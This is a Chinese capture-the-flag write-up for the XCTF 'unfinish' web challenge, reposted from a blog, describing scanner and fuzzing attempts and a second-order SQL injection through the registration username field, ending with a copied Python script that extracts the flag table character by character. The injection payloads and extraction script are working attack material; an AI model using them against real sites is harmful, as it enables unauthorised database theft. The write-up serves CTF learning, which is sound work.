攻防世界-web进阶-unfinish

无wp寸步难行

原链:https://blog.csdn.net/hxhxhxhxx/article/details/107900247

攻防世界web进阶区unfinish详解

题目

在这里插入图片描述

详解

我们使用御剑,扫描一波

在这里插入图片描述
我们进入注册页面查看,发现这个,有注册的话猜一下二次注入(这里注入,然后去页面看结果)

在这里插入图片描述
我们先拿AWVS试试,
在这里插入图片描述
哦~我的上帝,它存在注入
我们试试,burp的fuzz看看他过滤了什么
在这里插入图片描述
还是过滤了蛮多的
这些是都没过滤的

在这里插入图片描述
既然知道了他是sql注入
那么我们为啥不用sqlmap呢
我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重
我们需要找找合适的tamper
在这里插入图片描述
哦~我的上帝,果然不行,看来还得看看师傅们怎么写的

我们推测这里的语句是

insert into tables value('$email','$username','$passwpord');
登录成功后语句:

SELECT * FROM tables WHERE email = ''$email";
他这里注册的时候作了限制,所以联合查询这种方法不能用。

那么尝试在注册时用户名处进行闭合。

用户名处构造group_concat(1,database()),database','1')#

结果返回
nnnnoooo!!!
有过滤,

在这里插入图片描述
被过滤就是这样子

用户名注册时加个单引号注册失败,双引号注册成功,说明可能为单引号闭合·,

注册一个。

email: 123@123.com
username: 1' and '0
password: 123
登陆发现,用户名处回显0
在这里插入图片描述

说明存在注入,and运算结果为0.

下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/

与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。

如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。

抄大佬的脚本


import requests
import re


register_url = '/register.php'
login_url = '/login.php'


for i in range(1, 100):
    register_data = {
        'email': '111@123.com%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
        'email': '111@123.com%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
    print(chr(int(code.group(1))), end='')


在这里插入图片描述
题目真的越来越难了,没有wp寸步难行唉,太菜了

全部评论

相关推荐

点赞 收藏 评论
分享
牛客网
牛客企业服务